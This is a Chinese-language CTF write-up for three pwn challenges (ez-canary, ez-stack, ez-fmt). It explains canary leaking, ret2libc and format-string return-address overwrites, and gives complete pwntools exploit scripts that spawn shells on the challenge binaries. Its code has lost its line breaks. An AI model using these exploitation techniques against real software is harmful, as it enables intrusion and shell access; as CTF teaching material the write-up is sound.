0x00 前言 家鄉的CTF比賽,本來是來刷個臉熟的,結果打到了第5,沒有前三實在可惜。也有可能國内的大手子們在打L3H沒空理這邊。比較意外的是,這個比賽居然是SU出題的,不過面嚮菜鳥的比賽也不會難道哪裏去。這次的PWN還挺有意思,讓我搞懂了bss段上的fmtstr,同時因爲最近在看pwn college的fmtstr部分,對這方面有了更多的理解
0x01 題解部分 ez-canary Checksec:
Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
程序邏輯如下: 利用 13 行的 printf()
leak canary: 同時程序中存在後門函數 ret2text 即可。注意 /flag.txt
中的才是真 flag Exp:
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/canary' elf=ELF(file) choice = 0x00 if choice: port= 32003 mo = 'public-chall-2025.mocsctf.com' p = remote(mo,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) payload = b'%11$p' sa('find it and get it\n' ,payload) ru('0x' ) canary = int (r(16 ),16 ) leak('canary' ) backdoor = 0x0000000004006F7 payload=p64(canary) payload=payload.rjust(0x30 ,b'a' ) payload+=b'a' *8 payload+=p64(backdoor) sla('start your attack\n' ,payload) itr()
ez-stack Checksec:
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
程序邏輯如下: 簡單的 ret2libc, 需要注意的是 2.27 版本中由於收到 leave 的影響,導致第二次 read 會被第一次覆蓋 rbp 的值影響,我們需要在第一次 read 將 rbp 覆蓋為一個可寫的地址, 這裏選擇的是 bss 段
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/licb/pwn' elf=ELF(file) libc = ELF('/mnt/c/Users/Z2023/Desktop/licb/libc.so.6' ) choice = 0x00 if choice: port= 32003 mo = 'public-chall-2025.mocsctf.com' p = remote(mo,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) main=0x0000000004006C4 pop_rdi =0x0000000000400843 ret = 0x000000000040025e payload = b'a' *(0x20 )+p64(0x600d00 +0x20 )+flat(pop_rdi,elf.got['puts' ],elf.plt['puts' ],main) sa('try to get the flag\n' ,payload) puts_addr= uu64(r(6 )) leak('puts_addr' ) libc_base = puts_addr-libc.sym['puts' ] leak('libc_base' ) system,binsh=get_sb() payload = b'a' *0x28 +flat(ret,pop_rdi,binsh,system) pause() s(payload) itr()
ez-fmt Checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
程序邏輯如下: 有多次非棧上 fmtstr 漏洞可以利用,而且想停就停(輸入”su str done!”就能終止無限循環),接下來看看棧上有什麽能利用的 這裏有一個指向棧上的地址,我們可以利用 %c
和 %x$n
的組合去篡改對應地址的内容,簡單查看一下這個地址附近的位置,因爲我們需要把 str_test
函數的返回地址,也就是 rsp+8 這個位置寫成程序中自帶的後門函數: 所以我們需要先想辦法把 rsp+8 這個地址寫到棧上 可以往+8 或者-8 的位置上寫入,我們首先要做的就是通過 rsp+38 的内容(指向 rsp+128 的地址)去篡改 rsp+128 的内容,首先先是把 rsp+128 的地址給泄露出來: 使用 %13$p
即可,通過計算得出,泄露出的地址與我們 main 函數的返回地址相差 0x7ffe18e43d48 - 0x7ffe18e43c28 = 0x120
,所以可以將rsp+128 地址的内容篡改為 str_test
函數返回地址所在的地址,只寫入后兩字節即可。 payload 第一部分:
payload = b'%13$p' sla('Input your message: ' ,payload) ru('Your message:\n' ) stack = int (r(14 ),16 ) leak('stack' ) payload = '%' +str ((stack-0x120 )&0xffff )+'c%13$hn' sa('Input your message: ' ,payload)
效果如下: 接著利用這個指向 str_test
函數返回地址的地址去篡改為 backdoor 即可,第二段 payload:
shell = 0x000000000040128C payload = '%' +str (shell)+'c%43$n' sa('Input your message: ' ,payload)
效果如下: 這裏有一個小細節,我將返回地址改成了 shell+5 而不是 shell,這是因爲程序使用 Ubuntu GLIBC 2.35-0ubuntu3.9
在執行 system('/bin/sh')
時要求棧地阯 16 字節對齊,+5 是爲了越過一個 push 指令。 最後發送 "su str done!"
終止循環,讓函數返回到精心構造的main函數中,即可 get shell Exp:
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/fmt/chall' elf=ELF(file) choice = 0x00 if choice: port= 32003 mo = 'public-chall-2025.mocsctf.com' p = remote(mo,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) debug() payload = b'%13$p' sla('Input your message: ' ,payload) ru('Your message:\n' ) stack = int (r(14 ),16 ) leak('stack' ) shell = 0x000000000040128C payload = '%' +str ((stack-0x120 )&0xffff )+'c%13$hn' sa('Input your message: ' ,payload) payload = '%' +str (shell)+'c%43$n' sa('Input your message: ' ,payload) sa('Input your message: ' ,b'su str done!\x00' ) itr()